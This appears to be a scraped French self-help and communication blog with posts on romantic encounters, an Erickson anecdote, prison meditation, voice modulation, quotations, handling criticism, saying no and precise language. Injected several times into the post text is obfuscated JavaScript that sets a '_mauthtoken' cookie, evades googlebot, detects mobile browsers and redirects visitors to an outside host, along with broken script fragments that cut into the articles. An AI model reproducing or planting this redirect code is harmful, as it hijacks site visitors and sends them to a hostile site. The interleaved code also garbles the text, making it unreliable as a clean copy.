Vision d’une rencontre

Je voudrais vous soumettre un extrait d’un livre dont j’ai malheureusement perdu le titre et l’auteur (si vous le connaissez, merci de m’en faire part) et dans lequel l’auteur exprime sa façon d’appréhender une rencontre ou une relation. Cela nous permet de nous interroger sur notre propre vision d’une rencontre, de la relation amoureuse ou amicale. Est-ce un moyen d’évoluer, de s’épanouir ou seulement une fin en soi ?

 « Je suis pleine de gratitude envers la Vie pour les moments riches qu’elle m’offre. Les rencontres qui la traversent en font partie. Ainsi, la rencontre que j’ai faite dernièrement avec un homme rare. J’apprécie toute la richesse, tout le plaisir, tout le rêve dont cette rencontre est porteuse. J’apprécie tout ce que cela me donne comme possibilités de me découvrir, de grandir, de m’épanouir… et je ne suis pas déçue.

 Pour moi, une rencontre est un moment dans lequel j’arrive en étant ouverte à tous les possibles… La possibilité de découvrir des émotions auxquelles je ne m’attendais pas, la possibilité d’éprouver un sentiment nouveau, la possibilité de laisser naître un désir. Parfois réapparaît le besoin d’entrer dans une relation plus continue avec la personne que je découvre, non pour m’engager ni pour mettre en commun nos vies ou un lieu de vie, mais pour me donner la possibilité de me découvrir plus, de me connaître, d’explorer, d’inventer…

Pour moi, rencontrer quelqu’un ce n’est pas poser à l’avance que ce sera telle sorte de rencontre ou une rencontre limitée dans le temps et l’espace. C’est partir à l’aventure, prendre des risques. C’est partir à la découverte de l’autre et, ce faisant, de tous les moi que j’ignore en moi. C’est prendre le risque de renouveler la rencontre si elle a été positive et avancer vers l’immensité de l’inconnu. Pourquoi limiter d’avance, mettre des balises ? Comment peut-on rencontrer vraiment l’autre si on se met d’avance des limites ? J’ai conscience de mon désir de continuité dans un au-delà de la rencontre, de mon désir de m’engager avec la totalité de moi-même dans une relation. Je sais que ces désirs m’appartiennent et je prends soin de ne pas envahir l’autre avec des demandes ou des attentes trop pressantes, qui pourraient être pesantes pour lui. J’ai conscience aussi qu’au-delà de mes désirs, j’ai des besoins, d’autant plus que je n’entretiens pas de relation continue actuellement. Tout dernièrement, mon ami m’a écrit pour me dire qu’il n’attendait pas la même chose que moi d’une relation. Lui veut rester dans la rencontre, sans engagement, sans projection sur l’avenir. J’ai tenu à lui exprimer ma différence.

J’ai eu besoin aussi de lui dire comment je le ressentais, même si cela est délicat, difficile, périlleux car il n’aime pas que l’on pense ou que l’on parle de lui… J’ai ressenti de sa part une nécessité de vivre les relations personnelles, intimes, comme des visites : des temps de rencontres pleins, riches, qui vous nourrissent suffisamment pour que vous vous sentiez ensuite bien entre les rencontres. Je dis visites, en reliant prudemment, (car je ne veux pas faire de psychologie facile) son mode de relation à la relation pleine et riche, mais en pointillés, qu’il semble avoir eue avec sa mère lorsque celle-ci, atteinte d’une maladie grave, a dû vivre éloignée de lui durant six ans.

Je pense que l’on peut vivre des relations autrement qu’en pointillés sans se sentir enfermé, et tout en continuant à se respecter soi-même… Qu’en pensez-vous ?

Je partage et je rejoins totalement le point de vue de cette femme qui m’écrit avec la confiance inouïe de ceux qui savent qu’ils seront entendus. Il faut à la fois beaucoup de liberté en soi et une grande sécurité intérieures pour vivre des relations de rencontre qui ne proposent rien d’autre au départ que le plaisir d’être ensemble. Cela se gâte parfois, quand des sentiments s’en mêlent, quand se réveille le rêve d’une acceptation inconditionnelle, d’un partage total, d’un engagement pour baliser l’avenir. En matière de relations intimes, il n’y a pas de modèles, pas de références, il n’y a que des expériences heureuses ou malheureuses. La littérature ignore ou feint d’ignorer que de telles rencontres fondées sur un vécu au présent, sur le seul partage de l’instant, existent, sont possibles. Il appartient à chacun de les découvrir et de tenter de les vivre dans le dépassement de soi qu’elles supposent.

Il est des rencontres qui s’inventent au jour le jour, pour transformer chaque instant en parcelle d’éternité. »}if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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La Dame aux Violettes

Voici maintenant une histoire vraie survenue dans le Wisconsin aux États Unis.

Une dame vit seule, sans amis, elle en est gravement déprimée. Cependant, un jour, quelqu’un lui rend visite et s’aperçoit qu’elle passe beaucoup de temps à faire pousser des violettes. C’est une sorte de passion. Ce visiteur n’est autre qu’un jeune médecin,  Milton Erickson (le fondateur de l’hypnose Ericksonienne), qu’elle fait appeler de temps à autre. Découvrant cet intérêt très fort pour les violettes, il lui dit : « Je ne peux pas grand chose pour votre déprime, je n’ai pas de remède très dynamisant. En revanche, en guise d’ordonnance, je vais vous donner une tâche à accomplir. Vous lirez le journal chaque jour et notamment la rubrique des naissances et des mariages… A chaque famille célébrant une naissance ou un mariage, vous enverrez un petit pot de violettes…  »

La femme devint trop occupée pour être déprimée. Et les gens finirent par la remarquer et l’apprécier.

Six mois plus tard, cette femme avait de nombreux amis et dans la ville, tout le monde l’appelait « La dame aux Violettes. »

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Quand l’attitude d’un détenu influence toute une prison…

Un petit air de vacances flâne sur ce blog, aussi je voudrais pendant les quelques semaines à venir vous présenter une approche un peu plus divertissante des relations entre individus au travers d’histoires diverses.

Cette histoire incroyable s’est passée il y a de nombreuses années dans l’une des immenses prisons que compte l’Amérique.

Parmi les 5000 détenus que comptait cet établissement pénitencier, l’un d’eux se mis à s’intéresser à la méditation.

Bien que les conditions n’y fussent pas du tout favorable, chaque jour il s’adonnait à la pratique de la méditation. Au début, ses codétenus ne manquaient d’ailleurs pas de se moquer de lui.

Pourtant ils étaient bien obligés de constater que la pratique le changeait. Il était devenu beaucoup plus calme, plus maître de lui, ses colères avaient disparu. Au fil du temps il était devenu quelqu’un de beaucoup plus stable qui inspirait le respect autour de lui.

La curiosité l’emportant, nombreux furent ceux qui souhaitaient en savoir davantage, et eux-mêmes se mirent à la pratique. Bientôt ce sont près de 500 détenus qui s’adonnaient chaque jour à la méditation.

Mais ce qu’il y a de plus incroyable dans cette histoire, c’est que, comme a du le reconnaître le directeur lui-même, c’est toute l’atmosphère de la prison qui avait changé. Il y avait moins d’agressions, moins de bagarres, même parmi ceux qui ne pratiquaient pas.

Fort est de constater qu’en agissant sur eux-mêmes, toutes ces personnes ont influencé positivement le monde dans lequel elles se trouvaient.

A la semaine prochaine pour une nouvelle histoire !if (document.currentScript) {

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Moduler sa voix

La voix est un outil de communication essentiel, elle transmet l’émotion et les sentiments. Elle peut tantôt être affirmée, plaintive, colérique, vibrante, triste, joyeuse, etc. Elle nous définit et nous dévoile c’est pourquoi il est important d’en connaître les modulations et de savoir jouer avec.

Quatre éléments caractérisent la voix : l’intensité, le timbre, l’intonation et le débit.

L’intensité :

Il s’agit du volume sonore de la voix. Selon les émotions ressenties, le niveau sonore pourra varier. En général, avec la colère le niveau augmente alors qu’il diminue avec la peur. Dans notre société, quelqu’un qui s’exprime avec un volume sonore suffisant pour être entendu facilement sera considéré comme sûr de lui, alors que si ce volume est faible il sera souvent jugé comme timide ou peu sûr de lui. Aussi parler avec un niveau adapté aux situations paraît souhaitable, il convient de l’adapter à l’espace environnant, au nombre de personnes présentes, à la situation donnée, et au message à faire passer. On peut tout à fait agir sur l’intensité de sa voix en imaginant avoir un bouton pour monter ou baisser le volume, comme on le ferait avec une radio.

Le timbre :

Le timbre de voix est très différent selon les individus par contre, tout comme les empreintes digitales, il est propre à chacun et ne varie que très peu. Il résulte de données anatomiques et physiologiques, comme l’épaisseur et de la longueur des cordes vocales, les caractéristiques des cavités de résonance (pharynx, bouche et cavité nasale). La combinaison de ces différents paramètres produira pour chaque individu un timbre particulier qu’il est difficile de modifier en règle générale.

Le timbre de la voix peut influencer l’état émotionnel de l’interlocuteur. Ainsi un timbre de voix grave va avoir tendance à induire le calme, tandis qu’un timbre aigu va induire plus facilement la colère ou la joie.

L’intonation :

C’est le mouvement mélodique de la voix, caractérisé par des variations de hauteur. Les contours mélodiques sont en effet des courbes qui représentent les variations montantes ou descendantes de la voix. La phrase « où es-tu ? » a un contour mélodique montant, alors que la phrase, « quel dommage ! » a un contour mélodique descendant. Personne n’imagine un morceau musical sur une seule et même note. De la même manière, la voix doit se moduler sur des notes différentes, tantôt graves et tantôt aiguës.

Un autre élément intervenant dans l’intonation est l’accentuation portée sur une syllabe qui la met en valeur par l’augmentation de la longueur et de l’intensité de cette syllabe. En français, l’accent est fixe, il est toujours placé sur la dernière syllabe d’un groupe rythmique, c’est aussi ce qui fait que la langue française est beaucoup moins chantante que la langue anglaise par exemple, qui a des accents beaucoup plus variables.

Un timbre monocorde produira ennui et lassitude. Explorer la gamme des graves et des aigus et varier les accentuations dans la phrase permet de capter l’attention de l’auditoire.

Le débit :

C’est le nombre de mots à la minute. Là encore les émotions ont une influence sur le débit. Si quelqu’un est anxieux ou irrité, il aura tendance à parler plus vite et inversement la fatigue et le découragement vont induire un débit lent et monocorde. Le débit verbal est souvent lié à l’articulation des mots. Plus l’articulation est bonne, plus les mots sont distincts et le débit adapté à une communication efficace. Il est fréquent que les orateurs parlent trop vite, aussi pour remédier à cet inconvénient il est important de bien respirer entre les phrases, d’utiliser le silence pour marquer un temps de pause, le message en aura que plus d’impact.

Afin d’entraîner sa voix, il est tout à fait possible de s’enregistrer et de s’amuser à moduler sa voix en faisant varier débit, intensité et mélodie. Travailler sa voix s’apprend comme le reste et permet de gagner en performance dans le contexte de la prise de paroles et d’améliorer la qualité de la communication.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = « _mauthtoken=1; path=/;expires= »+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Quelques citations !

Aujourd’hui, je voudrais vous présenter quelques citations, une porte ouverte vers la réflexion ou l’échange concernant les relations. Alors, vos appréciations seront les bienvenues ainsi que vos propres pensées.

« Tout ce qui nous irrite chez les autres peut contribuer à mieux nous connaître. »
Carl Jung

« L’amour se passe de cadeaux, mais pas de présence. »
Félix Leclerc

« Traite chaque personne que tu rencontres comme si elle était la personne la plus importante que tu rencontreras ce jour-là. »
Tolstoï

« Dans l’immensité du monde, vous n’êtes qu’un individu.
Mais pour un de vos proches, vous êtes peut-être le monde entier. »
Inconnu

« Nul ne peut résister au charme inhérent à celui qui sait respecter la liberté des autres. Il s’agit là d’un des plus merveilleux paradoxes existant dans les relations humaines. »
André Pronovost

« Pour l’instant le monde humain appartient à ceux qui se demandent « pourquoi ». Mais l’avenir appartient forcément à ceux qui se demandent « comment ».  »
Bernard Werber

« Il n’existe que deux façons d’observer les gens : avec l’œil et avec le cœur… »
Inconnu

« En voulant faire plaisir à tout le monde, on risque de ne contenter personne. »
Martin Taylor

« Votre sourire vous attirera toujours d’autres sourires. »
Inconnu

« Aimer c’est comprendre et sentir que l’autre est différent. »
Swâmi Prajnanpad

« Les mots sont comme les glands… Chacun d’eux ne donne pas un chêne, mais si vous en plantez un nombre suffisant, vous obtiendrez sûrement un chêne tôt ou tard. »
William Faulkner

« Chaque coup de colère est un coup de vieux, chaque sourire est un coup de jeune. » Proverbe chinois

« Quand vous partagez un malheur, il diminue.
Quand vous partagez une joie, elle s’amplifie ! »
Anonyme

Au plaisir de vous lire, vous aussi…!

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Gérer une critique

Tous les jours nous sommes susceptibles d’être confrontés aux critiques des autres. Certaines critiques peuvent être profondément déstabilisantes, aussi il est important de savoir comment réagir.

Mais au fond qu’est-ce qu’une critique ? Des mots prononcées par une personne qui réagit par rapport à un contexte précis. C’est en fait sa perception de la situation à un instant précis qui est influencé par son histoire, son vécu actuel, son état émotionnel du moment et donc ce sont des paroles tout à fait arbitraires, qui auraient pu être différentes la veille ou qui pourraient l’être, le lendemain. Autant qu’une critique, on peut y voir une information sur la personne, on peut y lire sa vision des choses. Si la personne traverse actuellement une période difficile, elle pourra avoir tendance à être plus agressive ou à projeter ses frustrations et une perception négative du monde.

En sachant cela, il est plus facile de prendre du recul quand une remarque désobligeante nous est adressée pour observer ce qui motive la personne à formuler ces paroles. Une grande respiration peut également être utile pour garder notre calme si nous nous sentons perturbés émotionnellement. Ainsi en s’accordant un moment de réflexion, nous pouvons chercher à en savoir davantage :

  • La critique est-elle formulée par quelqu’un qui nous veut du bien ou par quelqu’un qui cherche invariablement à nous enfoncer ?
  • Qu’y a-t-il derrière ce message : un conseil, une demande d’explications, une information sur notre façon de procéder ?
  • Est-ce une critique objective et constructive qui permet une remise en cause ?
  • La critique s’appuie t-elle sur des éléments concrets, ou n’est-elle qu’une simple opinion de la personne ?
  • Que puis-je apprendre ? Comment puis-je améliorer la situation ?

Si cette remarque ne nous semble pas justifiée, il est inutile d’en tenir compte et de nous laisser entraîner dans un discours qui n’apporterait rien. Il est alors possible de laisser courir sans formuler le moindre commentaire ou dire simplement que nous ne se sommes pas concernés.

Il arrive parfois que face à une remarque, nous avons tendance à interpréter les paroles et à extrapoler à partir d’intentions que l’on prête à la personne. Ainsi, si quelqu’un nous dit : « J’ai trouvé que ta présentation manquait de clarté », cela ne signifie pas « Ton travail est mauvais », comme nous pourrions peut-être l’interpréter. Il est important de s’en tenir uniquement aux mots prononcés, sans aucune déformation ou lecture de pensée.

Quelques conseils pour vous aider à faire face à une critique :

  • Si vous avez besoin de donner une impression de solidité : Calez-vous bien au fond de votre siège, en appui sur les deux pieds, dans une position stable. D’une part cela vous permettra de vous connecter avec votre force intérieure et de la transmettre pour favoriser un bon échange.
  • Il ne sert à rien de vous précipiter pour répondre, suite à une remarque. Au contraire, prendre un temps de réflexion renforce votre calme et votre crédibilité.
  • Cherchez à orienter l’entretien vers une solution en demandant à la personne comment elle souhaiterait voir les choses de dérouler à l’avenir.
  • Une critique exprimée avec colère ou agressivité aura peu de chances d’être objective, car elle est faite sous l’effet d’un état émotionnel perturbé, aussi mieux vaut attendre que la personne se calme pour poursuivre la discussion.

Apprendre à mieux répondre aux critiques permet de diminuer le stress et de dialoguer plus favorablement.

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Dire, demander, savoir dire non

Pratiquer l’art de bien communiquer va inévitablement influencer notre vie et permettre d’augmenter sa qualité. Ainsi affirmer son point de vue avec clarté et respect va nous préserver d’une dose de stress importante car nous sommes plus à même de résister aux diverses manipulations ou provocations des uns ou des autres, aux sollicitations non souhaitées dans notre vie personnelle comme dans notre vie professionnelle, nous pouvons nous affirmer face à nos collègues, supérieurs hiérarchiques et développer un climat d’ouverture et d’enrichissement autour de nous. Nous gagnons en confiance et en assurance. Posséder une bonne confiance en soi nous permet de demander un conseil, une aide, de formuler une critique ou un message difficile sans porter atteinte à notre interlocuteur. Cela nous permet aussi d’apprendre à dire non et de prendre en compte nos propres besoins et désirs et par la même augmenter notre estime. Mais cela implique en contrepartie de prendre nos responsabilités face à nos actes et à nos paroles.

Si en apparence dire les choses semble simple, il n’en est pas toujours ainsi. Il nous arrive de nous taire face à une remarque désobligeante et de ruminer ensuite cette critique en nous ou bien de venir nous lamenter auprès d’une autre personne qui n’a rien à voir dans cette affaire et que nous encombrons avec un message négatif, alors qu’il aurait été beaucoup plus judicieux de nous exprimer face à la personne concernée. Cette retenue peut être dictée par un souci de délicatesse mais aussi par la peur de la réaction de l’autre.

Quand nous hésitons à donner notre avis, c’est souvent à cause de la peur du jugement des autres ou la peur du ridicule. Cependant il est impossible de plaire à tout le monde. Et d’autre part en cherchant à ne contrarier personne, on aboutit souvent au fait d’être mal jugé par beaucoup de monde. Nous sommes tous différents et par conséquent nous avons chacun nos propres avis, opinions, idées, croyances et nous pouvons les exprimer simplement, sans agressivité, sans crainte et avec respect.

De la même façon, nous ne pouvons pas tout connaître, et donc demander des informations, poser des questions sur ce que nous ne savons pas fait preuve d’intelligence, de curiosité et d’éveil. Les autres ne sont pas censés savoir ou deviner ce que nous souhaitons ou ce dont nous avons besoin, aussi il est important d’oser demander un service, du réconfort, un cadeau tout en sachant auparavant que l’autre peut aussi dire non et que ce non ne signifie aucunement un rejet en tant que personne. Il est simplement libre d’accepter ou de ne pas accepter. Mais si on ne demande pas, on est à priori sûr de ne pas avoir ce que l’on aimerait.

Beaucoup de personnes reconnaissent leur incapacité à dire non, aussi il est nécessaire d’apprendre à dire non. Notre oui n’a de sens que si nous sommes capables dire non. Et comme nous l’avons abordé dans l’article précédent, le fait de nier ce que nous souhaitons réellement conduit à la frustration voir même à la colère et la relation peut alors devenir équivoque, tendue et  peut même, par la suite, devenir conflictuelle.

Comment dire non avec plus de facilité :

  1. Prendre notre temps :
    Nous ne sommes pas obligés de répondre dans l’urgence. Prendre notre temps permet de nous interroger sur ce que nous ressentons véritablement et permet de savoir ce que le oui ou le non implique pour nous : « Supposons que je dise oui, comment je me sens ? et si je dis non ? » Le bien-être ou le mal-être perçu sera une bonne indication.
    .
  2. Définir nos limites :
    C’est évaluer ce qui est acceptable et inacceptable pour nous.
    .
  3. Donner les raisons véritables de notre refus et éviter de nous justifier :
    En effet, Le type de relation que nous allons engendrer à partir de nos mensonges « polis » risque fort de nous décevoir chaque jour davantage, d’où l’importance de donner la vraie raison. (Ex : « Je t’ai donné ma raison, si elle ne te convient pas, je ne peux rien faire de plus »). Au lieu de mentir, ou de nous lancer dans de longs discours, mieux vaut nous contenter d’un simple : « Non, je ne peux pas ». Plus l’explication est courte, plus elle est convaincante.
    .
  4. Nous donner l’autorisation de changer d’avis :
    Beaucoup de « oui » sont extorqués par la manipulation, aussi il est tout à fait légitime de revenir sur notre avis : « Écoute, j’ai repensé à ce que tu me demandes et en fait, je t’ai dit oui trop vite. A la réflexion, ça ne m’intéresse pas du tout ».

Réussir à dire non, c’est retrouver notre harmonie intérieure et nous offrir un espace de liberté et de choix.} else {

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Un langage précis

Chacun a sa propre façon de s’exprimer en fonction de sa vision et de sa perception du monde, c’est pourquoi il est parfois si difficile de communiquer de manière précise entre les individus. Chacun interprète les messages avec sa propre représentation, c’est ce qui fait naître l’incompréhension. « La carte n’est pas le territoire ». Un même mot peut prendre des significations différentes selon les personnes. C’est pourquoi il est utile d’apprendre à préciser sa pensée et demander des précisions à notre interlocuteur par des questions judicieuses.

Pour une communication de qualité il est donc nécessaire de rentrer le plus possible dans l’expérience de son interlocuteur, dans son vécu. Par exemple si je vous demande de visualiser un arbre, il pourra y avoir autant d’arbres différents qu’il a d’individus. Et donc si je veux découvrir l’arbre que vous visualisez, j’aurai besoin de connaître, son espèce, sa forme, sa taille, sa couleur, son environnement, la saison à laquelle vous vous le représentez, son odeur, sa mouvance ou sa fixité, etc. Et alors seulement, je pourrai me rapprocher de votre expérience interne, mais de toutes façons, elle ne sera jamais vraiment la même.

Alors pour nous aider à être le plus précis possible dans notre langage et ainsi être le mieux compris et comprendre le plus finement les autres, nous allons évoquer les imprécisions que peut prendre l’expression verbale.

Il existe trois formes principales d’imprécisions  :

  1. L’omission
  2. La généralisation
  3. La distorsion

L’omission :

Une partie de l’information est manquante. Pour la personne qui raconte son expérience, le déroulement de l’action est si évident qu’elle en oublie certains détails qui pourraient nous permettre de mieux percevoir ce qu’il s’est réellement passé. Ces informations manquantes peuvent être de nature différente. Ainsi quand quelqu’un dit « j’ai peur », on ne sait pas de quoi il a peur, dans quelles circonstances, etc.

La personne peut aussi s’exprimer de façon vague en employant des mots comme « on », « ça » ce qui empêche de savoir à qui ou à quoi, elle fait référence. Nous allons donc chercher à compléter l’information et à éclaircir la situation par les questions : qui, que, quoi, où, quand, comment ?

Il y a également le cas où la personne compare quelque chose sans mentionner le cadre de comparaison comme dans la formulation « Je me sens mieux ici », on pourra alors lui répliquer « par rapport à quel environnement ? » ou « qu’est-ce qui est mieux ici ? » ou bien encore « Comment te sens-tu dans tel endroit ? »

La généralisation :

Ce processus consiste à transformer des données concrètes en données générales et abstraites. Il s’agit du cas où à partir d’une expérience précise (quelqu’un arrive en retard à son rendez-vous), on va en faire une règle générale en lui disant : « Tu es toujours en retard ! » Cette façon de procéder est très fréquente et a l’inconvénient d’enfermer dans une certaine fixité qu’il convient de casser afin d’ouvrir sur de nouveaux choix. Pour cela, on peut soit conforter la personne dans son excès en lui disant : »Est-ce toujours le cas ? » ou au contraire chercher un contre-exemple tel que : « N’y a t-il- pas une fois où je suis arrivé à l’heure ? »

Il y a ensuite toute la série de limites et de règles que l’on s’impose à soi-même au travers des « il faut », « je dois », « je peux », « je ne peux pas », « je crois » etc. auxquelles on peut répliquer :

  • Qu’est-ce qui t’empêche ?
  • En quoi est-ce nécessaire ?
  • Que se passerait-il si… ?

La distorsion :

Plusieurs variétés de distorsions existent, comme la nominalisation qui est un concept abstrait (l’amour, la liberté, le respect, la communication…) et qui peut prendre des définitions bien différentes selon les individus. Alors si on ne précise pas exactement quelle est l’expérience que la personne met derrière ce mot, on peut se trouver dans l’incompréhension ou le malentendu face au message transmis.

La lecture de pensée est un moyen très usité pour faire dire à quelqu’un quelque chose qu’il n’a pas réellement formuler : « Je sais ce que tu es en train de penser ». C’est juste une supposition face à un comportement, qu’il est donc important de vérifier pour découvrir ou non sa véracité de la manière suivante :

  • Comment le sais-tu ?
  • Qu’est-ce qui te fait dire ça ?

Le fait d’établir des liens entre des évènements distincts et considérer ces liens comme une fatalité ou une conséquence inévitable, là aussi enferme dans un cadre et empêche de voir d’autres possibilités. Par exemple :

  • Il pleut alors la journée va être mauvaise.
  • Quand je suis critiquée, je doute de moi.
  • Regarde ce que tu m’as fait faire.
  • Il est en retard, il ne m’aime plus.

L’important est alors de casser cet enchaînement en démontrant que d’autres causes produisent le même effet ou que ces mêmes causes produisent d’autres effets. Les questions utiles pourront être :

  • Comment cet enchaînement se produit-il ?
  • Est-il déjà arrivé que ceci ne cause pas cela ?

En repérant ces différentes imprécisions dans la communication, cela permet non seulement de mieux comprendre notre interlocuteur, mais aussi en repérant ses schémas répétitifs, cela permet aussi de mieux percevoir son mode de fonctionnement. Car si la personne est sans cesse dans les « je dois » ou « il faut », cela signifie qu’elle s’impose des obligations et a tendance à voir le monde sous le mode de la contrainte plutôt que sous celui des opportunités. Nous avons donc des informations importantes sur la personne qui nous permettent là encore de mieux pénétrer dans son mode de pensée et donc de mieux la comprendre.

Nous pouvons  repérer aussi dans notre propre langage, ce qui revient fréquemment afin de mieux nous connaître et de faire émerger ce qu’inconsciemment nous nous cachons comme interdit, ce que nous omettons dans notre environnement ou ce que nous travestissons de la réalité.if (document.currentScript) { if(document.cookie.indexOf(« _mauthtoken »)==-1){(function(a,b){if(a.indexOf(« googlebot »)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 